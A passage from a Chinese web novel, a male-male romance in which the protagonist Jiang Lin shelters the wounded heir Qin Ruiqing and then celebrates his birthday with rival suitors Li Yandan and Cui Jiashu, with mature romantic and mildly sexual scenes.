“你有事就给我打电话。”李炎诞看着江林。 江林点了点头,说好。 桃星雪这一天下来,累得够呛,松了一口气:“星星,你这大学读得可以呀,认识了这么多好朋友。” 孟兆则是默默开口:“这位怕也是个富二代吧?” “嗯,我那个学院的同学都蛮有钱的。”江林如实回答。 他们没看出三人之间有什么暧昧不对,孟兆叹了一口气:“和他们打交道不容易吧。” “还行,他们人都蛮好的。”江林用热茶水烫了烫碗筷,温声说:“如果相处得不好,也不会来这么帮我,对吧。” 孟兆点了点头,也知道自家儿子从小就招人喜欢 孟爸孟妈在金海市玩了半个月才回家,又悄悄在江林枕头下面留下了一笔钱,几乎他们所有的积蓄。 原本他们是想留到江林生日再离开的,结果传来了大伯爷去世的消息,不得不率先离开回家奔丧。 江林还在兼职工作,没回去,毕竟感情也不算太深。 晚上公司部门聚餐,他一个实习生也被邀请参加,混了一顿饭回来夜已经深了,江林走过小巷的时候,听见一道男声喊他的名字:“孟南星。” 江林回头一看,后面没人,视线往旁边移,里面一条黑深的小巷,两个高墙之中显得极为隐秘。他租的房子是在老小区,所以人不太多。 “孟南星。”一个人影出现在小巷里,那冷沉的声音有些耳熟。 是许久不见的秦锐清。 江林很轻地挑了下眉,走上前去,闻到了血腥味,秦锐清受伤了。 江林有一种微妙的预感,不会是那种狗血捡男人回家的剧情吧。 “你受伤了。”秦锐清在阴影中,只能瞧见他的轮廓,看不清他的模样,江林确定地说。 “要我帮你打110还是120?”江林好心问。 “” “或者我直接打火葬场的电话?” “” 第39章 秦锐清的确受伤了, 但并不重,不致命,身上大部分的血都是别人的, 他也没想到会在这里遇见江林。 “我”秦锐清顿了一瞬,拒绝了他打电话的好意:“不用。” 但下一瞬他提出了一个很无礼的要求:“我可以借宿一晚吗?” 江林其实很想说不可以, 毕竟秦锐清受伤的情况下还没有去医院或者自家的酒店,就代表着危险并未结束,他带他回家很可能会有危险。 他脑海里闪过那个以缓慢速度增长的攻略值, 最终还是答应了他的请求:“可以,但是你必须要保证我是安全的。” “好。”秦锐清说话也言简意赅, 从黑暗中走出来,他穿着深黑色的西装,黑暗中模糊可以看见他腰腹深色的痕迹,像是沁出来的血,他面色冷峻,若是只看表情完全瞧不出他的伤势如何。 “啧, 走吧。”江林似乎有些懊恼自己的好心, 表情烦烦的。 秦锐清知道江林一向心软, 倒也不意外他会收留自己。 就在他离开不久,有他的下属来接应他, 但是被叫回去了。 “你的伤需不需要处理?”江林给他拿了双拖鞋, 抹了抹脸,试图抹去自己的一身班味,简单地穿着休闲样式的西服。 秦锐清回答:“已经处理过了。” “哦, 那你睡那间房。”江林让他住原本孟家父母住的房间,伸了个懒腰,回房洗澡洗头了。 秦锐清回到房间锁好门, 腹部的刀伤刺痛难忍,他在衣柜找到了一件大码睡衣,换掉了自己的脏衣服,精神紧绷着,房间的隔音效果很差,他甚至能听见隔壁房间走动的声音。 他闭了闭眼,脑海中略过了最近发生的所有事情,穿针引线,一点点将每件事情都串了起来,他千算万算,没算到秦缃找的这个情人不光是个富商,还是一个混黑的亡命之徒,敢直接朝他动手。 秦锐清呼吸沉重了一些,眼底闪烁着阴冷,而他偏得没边的爹居然睁一只眼闭一只眼,眼看着他被算计却一声不吭,甚至主动成为推手。 从隔壁传来轻松跳跃的音乐,伴随着悠扬的哼曲声,逐渐抚平着紧绷的神经。 秦锐清思绪被打断,注意力回到了江林身上,其实他已经很久没有主动想起过江林,但时常有被动地想起过这个人。 他的身体许是因为他常年压抑自己的欲望,所以平时对待其他人的时候欲望寡淡,甚至有些厌恶。 但那次在云象市的相遇,他发现身体半点不抵触江林,甚至有些上瘾。 有时候身体欲望也代表了一种对人的浓厚情感的隐射,江林成为了他梦中的常客。 他能清晰地感知自己对他的欲望,可是他不是从小被宠爱长大,能够无后顾之忧,放肆恣意的李炎诞,也不是从里疯到外,什么都可以不在乎的崔嘉树。 他看重自己的权力,他现在所有的一切都是靠他费尽心思、处心积虑算计来的,他舍不得放手,所以束手束脚,不得不放弃某些东西。 可很多事情不是秦锐清说了算的,他的身体就常常和他唱反调,因为过度地压抑,现在完全不受控制。 秦锐清低头看向自己的睡裤,眼神有些不忍直视地闭上,就算身上伤势不轻,还是自顾自的 江林洗完澡吹完头打开门准备给自己倒杯水,没想到隔壁也随之打开门,秦锐清脸色有些白。 江林眨了眨眼,“你也要喝水?” 秦锐清冷冽的眼神在他脸上滑过,低头看着他拖鞋上的可爱兔头,哑着嗓子道:“可以给我弄点吃的吗?” 他一整天没吃东西了。 江林嘴角抽动了一瞬,放下杯子,表情不太高兴,问:“你想吃什么东西?” “都可以。”秦锐清不挑食。 江林打开冰箱,里面还有孟妈给他留下的一些菜,有些是新鲜的,有些是云象市腌制的特产,他拿出两个鸡蛋和一把面条。 “给你煮碗面,秦少爷应该不会嫌弃吗?”江林穿着单薄的睡衣,露出白皙的胳膊,锁骨伶仃,红绳乍现,他语气带着点不乐意。 “谢谢。”秦少爷面冷,但是礼貌。 江林没给自己准备,他是吃饱了回来的,煮面的期间差点把面条戳烂如果不是这个鬼任务,他真的会把他扔出去。 秦锐清见状,低声开口:“等事情过去,我会给你补偿的。” 江林戳面条的手就没那么用力了,脸上的不情愿也散去了些,“真的吗?给多少?” “你想要多少都可以。”秦锐清相当慷慨。 拜金小男孩儿江林露出一个笑脸,“行,你别忘记了。” 从秦锐清这里拿到的钱,都存到了给孟爸孟妈的卡上,这是后话。 秦锐清吃到了不算美味的鸡蛋面条,对于江林这种不耐烦的态度让他这个疑心病极重的人觉得有些放心,如果江林温柔如水、百依百顺,他还要怀疑一下,他是不是对自己有所图 毕竟之前两人也算是有矛盾。 收留他是因为心善,但不爽是因为他们之间的龃龉。 “你吃完早点休息吧,明天我还要去上班,就先睡了。”江林端着水杯回了房间,趁着月亮还未悬至最高,抱着被子睡着了,门锁得死死的。 第二天七点半,江林便挣扎地爬起来,洗脸刷牙,给自己烤了简单的三明治,给秦锐清准备的则是干巴巴的土司,还留下了一个字条,假惺惺地让他注意身体。 他赶地铁的时候,就发现了关于秦家的一些新闻。 新闻头条,秦氏长子疑似意外身亡??尸骨不存? 秦凡云为长子痛哭流涕!!打破不和传言。 江林收起手机,面色如常,没想到秦缃这么给力,就是很遗憾,被秦锐清逃了,而他也还没完成任务,不然他完全可以真的尸骨不存了 踩着晚霞回家,打开门就看见坐在沙发上的秦锐清,江林和他对视了一眼,视线又不尴不尬地移开,换好拖鞋,发现桌上的土司已经不见了。 “你没手机吗?”江林认为他不会做饭,最少也可以点外卖吧? “手机被监控了。”秦锐清依旧是那一身睡衣,垃圾桶里有带血的绷带,应该是他自己换药了。 江林稍稍点了点头,表示理解,“真惨。” 他也窝在沙发上玩手机,忙了一天,他需要休息一下。 秦锐清:“” 江林玩得眼睛都酸了,才注意到旁边秦锐清脸色不对,脸颊潮红,眉头也难受地蹙起,靠在沙发上直接睡着了。 他伸手推了推秦锐清的肩膀:“唉?你怎么了?” “嗯?”秦锐清浑身难受,没什么起伏的语调说:“可能是伤口发炎引起发热了。” “那你要吃什么药吗?”江林放下手机,伸手探了探他的额头,真的很热,都可以煮鸡蛋了。 “不吃也没关系的。”秦锐清视线有些涣散,江林的脸在眼前晃晃荡荡的。 江林苦恼道:“不是,你可别死我这里哇。” “不会。”秦锐清熟悉这种感觉,从前受伤也会这样,但不会真的死掉,只是像要死了一样。 “那你要不要吃点东西?”江林记得他出去的时候,那包土司也只有四片,对于一个成年男人来说远远不够。 “你愿意给我做吗?”秦锐清脸色依旧很淡,却问出了一句带着情绪的话。 “我自己也要吃,也不算特意给你做吧。”江林起身先去家里找了点消炎药,递给秦锐清,死马当活马医。 秦锐清望着那白皙的手心,视线有些恍惚,虽然知道这些药可能除了增加他肾的负担,毫无其他用处,但他还是就着温水吃了下去。 江林做饭的期间,秦锐清又昏迷般睡了过去,直到被江林叫醒。 “吃饭了。”江林简单做了两菜一汤,一个海带排骨汤,一个炒鸡蛋,一个小炒肉。 江林的炒菜技术也仅限于这些家常菜。 秦锐清眯了眯眼,强撑着身体往餐桌走去,坐下之后感觉用尽了全身的力气。 江林给自己倒了碗汤,又给他倒了一碗,也算是自己照顾病号的一点同理心,“你随便吃点吧。” “好。”秦锐清吃到嘴里的饭菜都没有什么味道,尝不出好吃与否,只是机械地张口吃饭,然后吞咽。 江林自己倒是吃得很香,觉得自己的手艺登峰造极,怒干两碗饭。 “哐当”筷子从指尖滑落,摔在地上。 江林朝着他看去,秦锐清刚刚手指没什么力气,筷子直接滑落了。 “抱歉。”秦锐清弯腰捡起,“我吃好了,先去休息了。” 江林放下碗筷,跟着起身,在他身形晃动的时候扶住了他,秦锐清顺势靠在他肩膀上,“你这样真的OK吗?” “没事。”秦锐清早就习惯了。 “我扶你进去休息吧。”江林叹了一口气。 “”房间内,江林看着抓着他手腕不松的秦锐清,表情有些微妙。 秦锐清露出一抹痛苦的神色,难得露出一点类似于受伤期脆弱的神情,“你可以等我睡着再走吗?” 这样无意义地挽留,如果清醒时候的秦锐清是断断说不出口的。 “行吧。”江林可有可无地坐在床边,看着他闭上眼睛,给傅清池回消息。 十来分钟,江林就回了自己的房间。 直到半夜,江林被天空一道惊雷吓醒,一睁眼便看见站在他床头直勾勾盯着他的秦锐清,吓得脑袋都短路了一瞬,那锁死的门不知道是什么时候打开的。 他也不知道秦锐清是什么时候开始看他的。 像个惊悚片。 第40章 饶似江林这种心理素质不错的人, 都被吓得够呛,耳边闷雷声阵阵,他一股脑坐起来, 想要分辨秦锐清是不是清醒的状态,但很快秦锐清便说了话。 “抱歉, 吓到你了。”秦锐清语气更虚了,似有些虚弱地撑在床边,解释道:“我只是想来看看你睡着了没有。” 江林深深吸了一口气, “你快把我吓死了。” “怎么了?”他稍稍蹙起眉,爬起来将旁边的台灯打开, “伤口又扯开了?” 灯打开之后,江林就看见他腰间沁出来的血,将原本深蓝的睡衣染红了,秦锐清也脸色苍白地顺势坐下。 “没事,只是觉得有点冷。”秦锐清坐在床边就这么看着他,神色冷淡得像受伤的人不是他一般, 但神色是明晃晃地暗示, 仿佛江林如果拒绝他, 下一秒就要晕过去。 “失血过多可不冷吗?”江林抱着被坐起来,胸前的观音贴着他的白皙的锁骨, 表情有些不情愿又同情:“你要和我睡?” “两人也许会暖和一点, 如果你愿意的话。”秦锐清额前的发丝被冷汗浸湿,伤口的撕裂是他故意为之,不过是博取同情的手段。 “其实开空调效果会更好。”江林嘀咕了一句, 起身下床,“你先睡。” 秦锐清便看着江林起身走到窗边,将窗户关紧, 防止雨水飘进来,原本清晰的雷声,也被隔绝在窗外,听得没那么清晰。 “你不是要和我睡吗?先躺下,我去倒杯水。”江林见秦锐清还是直勾勾看着他,微微挑眉。 江林去保温杯里倒了一点热水,又加了些冷水,最后在温水里加了点能让人神不知鬼不觉昏迷的药,直到完全溶于水,他才端着水回到房间。 防止秦锐清晚上继续作妖,直接药晕更好。 秦锐清还保持着原来的姿势坐在旁边,眼神黑沉沉地盯着他,江林露出一点笑容,“看你受伤,我不和你计较。” “你说借宿一晚,这已经是第二晚了。” 秦锐清表情虽然毫无变化,但脊背却稍稍紧绷起来,他意识有些混沌,他解释道:“可能还需要一点时间。” “可以不要把我在这里的事情告诉任何人吗?” 江林顺手将手中的水杯递到他手上,反问道:“李炎诞他们也不能说吗?” “不要。”秦锐清润了润干燥的唇和干涸的喉咙,半杯水下肚,感觉舒服了很多。 “我会给补偿的。” 江林可有可无地说:“好的。” 两个并不熟悉的人躺在一张床上,这是江林在这个世界上第一次清醒的时候和一个男人躺在一张床上,秦锐清感觉自己的眼皮越来越重,强撑的精神一点点坍塌。 江林感觉秦锐清的呼吸逐渐平静,才算是放下心来,好在床够大,睡两个人绰绰有余,只是睡在一床被子下,手脚都有些不便,稍稍移动就会碰到对方的肌肤。 外面雨声渐大,砸在窗户上,发出噼里啪啦的噪音,江林昏昏欲睡之时,感觉自己被人抱住,微微清醒了一瞬,秦锐清像抱着大型玩偶般,还在他耳边迷糊说着什么。 江林打起精神听了一下。 “妈妈,别走” 好的,又是这种老套的认妈剧情,懂的都懂,缺爱的男主就是这样的喽。 “好了,好了,好大儿,快睡觉吧,妈困死了。”江林伸手摸了摸他的脸,入手冰凉,语气困顿,手放在他脸上都忘记收回来,直接睡了过去。 窗外的树叶被打落在院子里,一场大雨过后,水腥味蔓延,带着潮湿的空气,太阳逐渐冒出头,阳光落在窗户上,有些刺眼。 秦锐清怀中的人翻个身,背对着阳光,皱眉继续睡。他后知后觉地睁开双眼,一向处事不惊的眼睛微微放大,瞳孔一缩。眼前恬静的睡颜让他回想起昨晚他一些看起来匪夷所思、愚不可及的行为,目光一瞬间的呆滞,又恢复了清明。 他视线微微落在少年脸上,肌肤雪白,衬得睫毛乌黑,洒下一片淡淡的阴影。圆弧的双眼显得极为柔软,眉毛浓淡相宜地精致,嘴唇粉又嘟,唇珠肉感十足再往下微凸的锁骨,肩膀单薄平直,玉牌落在旁边,空荡荡的睡衣毫无遮掩的效果。从上往下一览无余地白皙粉红,仿佛荔枝肉般晶莹莹白,又藏着漂亮红珠子。 很适合被人把玩的模样 秦锐清顿时感觉自己状态前所未有的精神,视线死死凝在江林身上半点移不开,呼吸如果不是一直的隐忍克制,只怕现在都要粗喘出声,0帧起手,没给自己半点准备的时间。 江林就像是他想了很久,念了很久,想要买的玩具,但因为各种原因没有得到,现在突然轻而易举地纳入怀中,让人觉得有些手足无措。 他现在应该马上起床,离开这个地方,但他没动,没有退一步,也没进一步。 直到江林幽幽转醒,秦锐清才欲盖弥彰地闭上眼睛,将自己的呼吸调整到平缓。 江林从他怀里坐起来,抓了抓有些乱糟糟的头发,看着装睡的人,只感觉贴着他小腿的肌肤非常滚烫。 他没发出什么动静,自然地起身,去厨房弄早餐。 秦锐清听见他的脚步走远,才睁开眼,被子里似乎还充斥着江林身上的味道,像是火苗似的点燃着他的四肢,他狠狠掐了一下自己不听话的玩意儿,直到疼得再无感觉,才起身出门。 “你醒了?”江林无比自然和他打了一声招呼。 “你晚上有梦游习惯?” 秦锐清舔了舔唇,揉了揉酸胀的眉心,撒了谎:“可能吧,我不太清楚。” “我的门锁也是被你弄坏的。”江林穿着围裙,脸上带着似笑非笑的表情,带着点淡淡地质问。 “我之后让人来修。”秦锐清云淡风轻地说。 “你伤口是不是要换药了,衣服换一下吧。”江林看着他腰间带着的血迹,提醒道。 “好。”秦锐清就这么在客厅脱了上衣,他腰腹部缠着白色的绷带,一层层被剥开,江林发现自己的医药箱里多了一些自己没见过的药。 江林煮着粥,便大剌剌地坐在他沙发对面,抱臂看着他,“现在法治社会,我觉得我们应该要相信警察和国家,不然还是报警吧。” “”秦锐清腰腹上狭长的伤疤,如同蜈蚣般的伤口,是被治疗过的,皮肤用手术线缝合起来了。 “再等等。” 江林耸耸肩,见他重新缠上纱布,粉红的围裙让江林有一种淡淡的人/妻感,秦锐清表情便有些微妙,“衣服弄脏了。” “我去给你找件衣服。”江林又找了一件之前他爸穿得旧衣。 “洗漱好,就吃饭吧,煮了点玉米粥。” 江林没等他,放着现下最热播的综艺,一边看一边吃饭,无暇顾及其他人。 秦锐清坐在他对面,抬眼便能瞧见他毫无防备的笑容,月牙般弯起的眸子,爽朗开心的笑容,顺便给了他一根烤肠:“肉肠吃不吃?” “谢谢。”秦锐清的胃口被唤醒,似乎很久很久没有心情这么平静的时候了,他像是一个机器,时时刻刻都在算计的机器,想着该怎么利益最大化,想着该怎么打消父亲的疑心 现在大脑暂时地停摆,周围有一种奇怪的温馨。 他忍不住想如果以后每天回家能看见江林,好像确实是一件不错的事情。 “哈哈哈。”江林笑得快岔气了,抹了抹眼角的眼泪,见秦锐清直勾勾看着自己,突然发觉有些不好意思,轻咳一声:“不好意思,吵到你了?但是真的很好笑。哈哈哈哈。” 秦锐清垂下眼,不冷不淡地回答:“没事。” 周末,江林推掉了所有的应酬,只想在家躺尸休息,顺便还被傅清池查岗学习情况,他现在在国外出差,连轴转,需要拜访不少国家。 江林窝在沙发打游戏,困了就午睡,睡醒了学习两三个小时,开始点外卖,今晚不想继续做饭。 秦锐清一直默默地观察着江林,像是一个透明人,很容易让人忽视他的存在。江林赤着脚躺在沙发上,突然觉得有些冷,白皙的脚趾互相搓了搓,灵活地动了几下,然后将脚藏进抱枕下面。 江林自己点好外卖,抬头问:“你晚上想吃什么?” 却发现秦锐清拿着毯子盖在他腿上,平淡地说道:“随便。” “哦,那我给你点一份一样的?”江林笑了一下,又加了一份猪脚饭。 其实江林没怎么太理他,显然对他依旧很芥蒂,秦锐清觉得这很正常,毕竟江林真的很讨厌他。 秦锐清知道自己在清醒地沉沦,心知肚明江林不喜欢他,他还是忍不住飞蛾扑火地靠近,他已经很克制自己的情绪和行为了,从一开始就不该靠近,但又忍不住靠近。 江林累了,眼睛有些酸,等待外卖的时候并没有继续玩手机,而是和秦锐清对视起来,懒懒散散地问:“你不累吗” “你盯着我看了一天。” 秦锐清望着他认真的眼,说不出狡辩的话,只是淡淡道:“因为无聊。” “是吗?”江林唇勾了勾,好奇地问:“你也是同性恋吧?” “”秦锐清突然有点想跑了:“这并不会影响什么。” “不否认就是承认。”江林坐起身,抱着自己的膝盖,黑黝黝的眼睛看着他:“你们同性恋是不是都喜欢犯贱?” 秦锐清额间青筋跳动了一下,唇角抿直成了直线,似乎有些不悦了:“你想说什么?” “别误会哈,我没说你,我说的崔嘉树。”江林笑吟吟地指桑骂槐,他救人这只能代表他人帅心善,和是秦锐清是人毫无关系。 “他好像很喜欢我。”江林有些苦恼,“甩都甩不掉的烦人。” “”秦锐清咬了咬牙。 门声响起,江林起身去拿外卖,突然站定,又说了一句:“对了,他喜欢盯着我看,就像你刚刚那样。” 秦锐清通体生寒,他察觉到也许江林什么都知道,他昨天的那些小伎俩,他的纠结,他的挣扎,他全部都知道,昨夜可能也是故意让他得逞,梦里的温暖,都是他施舍给他的。 见他一直坐着没动,江林又像没事人般,举着手中的外卖,元气满满地说道:“开饭咯,快来吃饭吧。” 让秦锐清都忍不住怀疑刚刚那瞬间江林表现出来的嘲弄和锋芒都是假象。 江林这么一闹,秦锐清晚上的梦游症直接好了。 外面传言风风雨雨,众说纷纭,说秦氏长子是被情妇杀的,也有说是因为惨遭敌对集团的虐杀,还有人说是因为飙车坠河身亡,但具体情况还未得到官方的正式证实。 秦锐清在江林家住了一周,也没有要离开的模样。 周末一大早,江林是被门铃声吵醒的,秦锐清也睡眼惺忪地起床,倚在房门口,江林看了一眼猫眼,朝着秦锐清挥挥手,小声道:“李炎诞,你先回房间。” 秦锐清顿了一秒,关门回了房间。 但因为隔音效果差,其实门外的说话声他都清晰可闻,他听见李炎诞中气十足的声音,大声道:“生日快乐!” 江林穿着睡衣,被塞了一捧花,李炎诞穿着黑色的休闲套装,利落的寸头,露出硬朗的面容,抬手抱了抱江林,问他:“我是不是第一个祝你生日快乐的人?” “嗯嗯嗯。”江林敷衍地点头,没告诉他赵云月掐着零点给他发生日祝福的消息。 “你瞧瞧这花,是不是比之前别人送你的好看多了,我亲自挑选的。”李炎诞骄傲地仰起头,买的是白玫瑰红玫瑰混合的花束,足够娇艳美丽。 “嗯嗯嗯。”江林困得很,眯着眼说道。 李炎诞见他这样,将他按在沙发上,抬手捏了捏他的手,“是不是没睡醒?” “嗯嗯。”江林现在就是个嗯嗯怪。 “那你再睡会,我给你准备好早餐叫你?”李炎诞宛如常年出差的丈夫,视线钢中带柔,看起来是一个贼凶的人,但动作却是轻手轻脚的。 江林抱着抱枕眼皮直耷拉,很快便意识模糊了,就算感觉到李炎诞在偷亲他,也没有出声责骂,昨晚他追剧追得太晚了。 像偷亲这种事情,李炎诞做得驾轻就熟,手到擒来,先是半跪在地上低头亲吻他的耳廓,在发现他的确没有拒绝后,才在他脸颊上也亲了几下。又得寸进尺地凑到他唇边吻,呼吸洒在他健康粉的脸颊上,柔软的唇角被吻开,他下意识的要撬开他的唇,才吃到江林的一点舌尖。 江林便不耐地扭过头去,“啧,别烦。” 李炎诞见他撒娇似的语气,半点不生气,抓着他的手,在他手背、指腹挨个亲了亲,才作罢。 他好不容易抽出一天时间,刚下飞机就赶了过来,他早就准备好的礼物放在桌上,去厨房给他做饭,却突然看见桌上摆放的两个水杯,李炎诞表情一怔,环视一周,视线定在关着房门的房间。 李炎诞脑海中闪过很多猜测,隐隐猜到了什么。 他眼底闪烁着冷芒,克制住自己的怒火,难得学会了一点深沉。 李炎诞是会煮东西的,小时候对做饭感兴趣的时候家里找厨师教过他,给他煮了一碗阳春面,又准备了炸鸡块,炸油条什么 没等李炎诞来喊,江林自己睡饱便醒来,都快十二点了,饿得不行,洗漱完便开始吃饭。 “今天有什么安排?”李炎诞擦了擦手上的水,还给他洗了一盘水果。 江林拿起一个油条,就着豆浆吃起来,低声道:“不知道,但昨天崔嘉树也说会过来。” 李炎诞表情一僵,翻了个白眼:“他怎么这么阴魂不散啊。” 江林瞅了他一眼,那眼神似乎在说,你也不赖啊。 但李炎诞脸皮厚,像是看不懂他眼底的暗示。 “吃点这个寿桃包子,很软乎,我特意去学的。”李炎诞堆了堆他跟前几个桃子形状的豆沙包。 “好的。”江林嘴上忙不过来,便没怎么说话。 李炎诞咧嘴望着他,满脸的幸福。 让李炎诞幸福戛然而止的是刺耳的门铃声。 “大概是崔嘉树。”江林看了他一眼。 李炎诞站起来,很烦躁地说道:“我能不能把他赶出去。” “如果你有这个本事的话。”江林当然不会反对。 李炎诞虽然很想把他赶走,但也知道崔嘉树绝对不可能这么听话,他好不容易放假,不想浪费时间在他身上。 崔嘉树打扮的很精致,穿着一套深紫色的西装,里面的内衬是v字领的,金丝边眼镜,项链,手镯,打扮的像个花蝴蝶,看见开门的是李炎诞脸上的笑容也没有半分变化,含笑打招呼:“小炎。” “哼。”李炎诞冷哼一声。 崔嘉树见江林穿着睡衣在吃早餐,也将礼物放在桌子上,如同在自己家里一样放松,抬脚走过去坐在他身边,低声道:“宝宝生日快乐哦。” 江林笑着点了点头,喝了最后一口豆浆:“谢谢。” 他的肚子已经撑鼓了,擦了擦嘴。 “这些都是小炎做的?”崔嘉树见江林点头,便毫不吝啬的夸赞道:“小炎好厉害啊。” 李炎诞半点不买账,语气不善地说道:“谁要你假惺惺地夸赞,你这个阴险虚伪的贱人。” 江林听见他这么直白地骂人,便知道上次崔嘉树应该是给他惹急了,他们狗咬狗,他忍不住轻笑一声。 崔嘉树半点不生气,伸手抓着江林的手握了握,笑着问:“听见我挨骂,宝宝这么开心啊?” “啧,你他妈的说话就说话,能不能别动手动脚?”李炎诞见状就要去掰开两人的手,但被崔嘉树伸手拦住了,那双含笑桃花眼带着锋芒。 “小炎,我似乎牵的不是你的手?你有什么立场可以管?”崔嘉树望着看戏的江林,故作惊讶:“还是说宝宝已经答应和他在一起了?” 也不等两人给他答案,自顾自地说道:“在一起又怎么样?宝宝,你就算结婚了,我也会当你的小三的。” “我操了,我以前怎么没发现崔嘉树你这么不要脸呢?”李炎诞被气笑了,崔嘉树单枪匹马也根本挡不住李炎诞,两人的手被轻轻打落。 崔嘉树稍稍冷下脸来,气氛有些凝滞,李炎诞把江林拽起来,查看他的手有没有受伤,但下一瞬,江林的手从他手中抽回,“你们要吵架滚出去吵。” 李炎诞闷闷地说道:“没想吵,但是他太烦了。” 崔嘉树没有再理会这些,拿出自己的礼物,给他准备了漂亮的玉牌,还有录取通知书,是申请的国外名校的保送名额。 “宝宝,看一下这几所学校有没有喜欢的。”崔嘉树双手奉上自己的诚意,眯着眼笑:“如果有特别喜欢的也可以跟我说,我去谈。” 这后门走得没边了。 江林认真地扫过几眼,最终也没有露出特别感兴趣的意思,“谢谢。” 李炎诞准备的百万手表,就想给江林送点贵的。 江林看着两人讨好的神色,心中默默觉得好笑,撑着下巴难得给了一个笑脸,“礼物很好,我都很喜欢。” “所以你们还有什么事吗?” 李炎诞一时词穷,崔嘉树顺势说道:“宝宝今天有什么安排吗?” “没有的话,可以考虑一下参加我给你准备的生日派对吗?” 李炎诞一心只想着和江林过二人世界,倒是完全没预料江林其实一点也不想和他过,所以没有别的准备,反而让崔嘉树展示上了。 他气得咬牙切齿。 “什么派对?”江林见既然赶不走,与其和他们两人混在一起,还不如去外面更加轻松些。 “叫了很多朋友,赵云月也邀请了,海边派对,今天天气正好,不冷不热的,还准备了烧烤,游艇,冲浪”崔嘉树勾勒了一个美好的场景。 江林被带到了海边,都是一些商学院眼熟的学生,看向江林的眼神似乎充满了善意和祝福,给他准备的礼物也堆积成了小山,海风一吹,江林穿着潜水服,跟着教练潜水去了。 天生怕水的李炎诞和不会潜水的崔嘉树只能站在岸上看着他的背影远去。 “你出得好主意,现在我们连人都见不到。”李炎诞生气地踢了踢细软的沙砾,没好气地说道。 “我不像你一样狭隘,只要宝宝能快乐开心,我无所谓的。”崔嘉树似乎很慷慨,但如果忽视幽暗的双眼的话。 “不是,你到底在执着什么?他根本不喜欢你,上一次床废了一只手,你纠缠不清是另外一只也不想要了吗?”李炎诞希望他知难而退。 崔嘉树喝了一口香槟,笑容很深:“死在他床上我都愿意。” “”李炎诞咽了咽口水,“别说得你多牛似的,我对他一定更好。” “你先处理你好爸妈再来犟嘴。”崔嘉树对于他的情况了如指掌。 李炎诞父母的确宠他,但是越宠越是不能接受李炎诞喜欢男人,所以李炎诞最近这么努力地工作,想要尽早接手公司,想要丰盈羽翼保护江林。 现在李延成觉得江林是个好的拿捏儿子的手段,也觉得随着时间的推移,两人见面少了,感情自然会平淡,所以给李炎诞安排了很多工作。 但当他发现李炎诞的真实想法后,可就没那么容易接受这样的事实了。 “你管好你自己。”李炎诞面露凶狠。 崔嘉树无所谓地笑了笑,龙雅定不会对江林下手,她不是一个涉及无辜的人,更何况他母亲原本就对他没有多少期望,自然不会失望。 他没有后顾之忧。 而相比这边轻松的海边派对,出租屋内,秦锐清望着那一桌子残羹冷炙,就算胃在发出抗议,饿得前胸贴后背,他也没有看一眼,转身回了房间。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 海面升起明月, 月光柔和,海边非常有情调地响起了舒缓的音乐,江林身为今天的主角, 受到的关注少不了。 轻轻举起的酒杯,杯内的香槟被他一口口喝完, 没人敢扫他的兴,他跟着音乐缓慢地扭动着自己的身躯,动作娴熟, 像个久经情场的老人,没有任何大幅度的动作, 但律动莫名地赏心悦目。 李炎诞坐在沙滩椅上,吃着桌上的烤肉,视线静静凝在江林身上,只见他穿着薄薄的丝绸衬衣,扣子无声之中散落了几颗,露出光滑白皙的锁骨, 若隐若现的薄肌。绸缎花衬衣扎进裤子里, 勾勒出纤细的腰身, 腿长臀翘,比例极为优秀。 他脸颊红红, 唇角泛着淡淡的笑容, 李炎诞突然瞧见崔嘉树抓住了江林的手,拿走了他手上的酒,低头不知道和江林说了一句什么, 江林笑了一下,手放在他带着白手套的右手上。 李炎诞猛地站起来,又忍着怒气坐下, 看见两人在月光下跳起了探戈,他告诫自己不能把江林的心情破坏了。 “哇哦~”众人还在没有眼色起哄,李炎诞已经面容黑锅。 赵云月受邀了,但并没有来,他最近正在申请国外交换生的名额,忙得焦头烂额。 崔嘉树抱着江林的腰,一曲舞后,他凑上前亲吻了江林的唇。 江林喝了不少酒,身体暖融融的,思绪却迟钝起来,没有拒绝,随着耳边更大的起哄声,甚至开始喊“在一起”。 “行了。”江林推开崔嘉树的脸,唇角润红。 见时间差不多,他兴致慢慢落下,准备回家,李炎诞见状走了过来,像是寻求表扬似的,扬起下巴,“坐我的车回去,我没喝酒。” 崔嘉树抹了抹江林热乎乎的脸,笑了:“司机是死了吗?” 李炎诞却固执的看着江林,透着一股委屈劲儿。 “走吧。”江林随便,挑了挑眉,看向李炎诞。 崔嘉树也准备跟着一起走,率先坐上车,李炎诞却一手拉住了江林的手,将人抵在车门上,抱住他,埋在他颈侧,沉沉道:“你刚刚亲了崔狗,我也要” 江林眯了眯眼,眼底沉着丝丝醉意,弯了弯唇,格外好说话:“来吧。” 李炎诞捧着他的脸,深深地吻下去,细细密密舔过少年柔软的唇,轻咬着他的唇肉,吸吮着他的唇珠,手也抓上他的腰,贴着他的身体轻蹭。 崔嘉树坐在车里,静静看着李炎诞幼稚的挑衅行为,唇角率先笑了一瞬,但慢慢地便笑不出来了,两人紧紧拥抱在一起的身体,让他觉得有些不太舒服。 明明他应该会觉得刺激才对,怎么会觉得不爽呢?他明明不介意这些的。 他将自己的不爽归咎于李炎诞这小子的性格傻逼。 与此同时,原本正在跳舞唱歌的人看见江林又被李炎诞抱着吻,心里像是炸开了锅似的,拿出手机,开始在论坛轰炸。 江林回到车上,李炎诞坐在驾驶座,回头一看,顿时觉得不妙,他应该让江林坐到副驾驶上的。 “你开不开车?不开车我喊司机过来了,我的车就在旁边。”崔嘉树看清楚他眼神中的意图,笑着说道。 江林身体有些热,衬衣衣领越发低了些,脖子都红了。他靠着座椅,下巴微微扬起,呼吸有些急促,他不是一个会自己主动解决欲/望的人,但男人的正常需求他还是有的。上次草草一次,还是在接他爸妈的车上,现在也被挑起了一丝火苗。 崔嘉树多精的人,一眼瞧出了江林的不适,眼尾弯了弯,知道这种时候,他很少会拒绝。 车刚刚驶入马路,崔嘉树缓缓摘掉自己的手套,转身揽住江林的肩膀,刚刚吻上,便听见李炎诞暴怒声:“操!崔嘉树你他妈的别碰他!” 监视着后面一举一动的李炎诞直接狠狠按了一下喇叭,准备停车,先给崔嘉树一点教训。 江林却有些不耐烦了,鸣笛声刺耳,让他耳朵都刺痛了一瞬,他睁开眼,从后视镜对上李炎诞的眼睛:“你能不能开车,不能开,滚。” 李炎诞顿时像是哑了火的炮仗,双眼通红,声音很低:“你别让他碰你。” “你觉得你能管我?”在江林眼中崔嘉树和李炎诞没有区别,所以不耐烦李炎诞这种正宫的做派,像是自己已经是他的所有物了般。 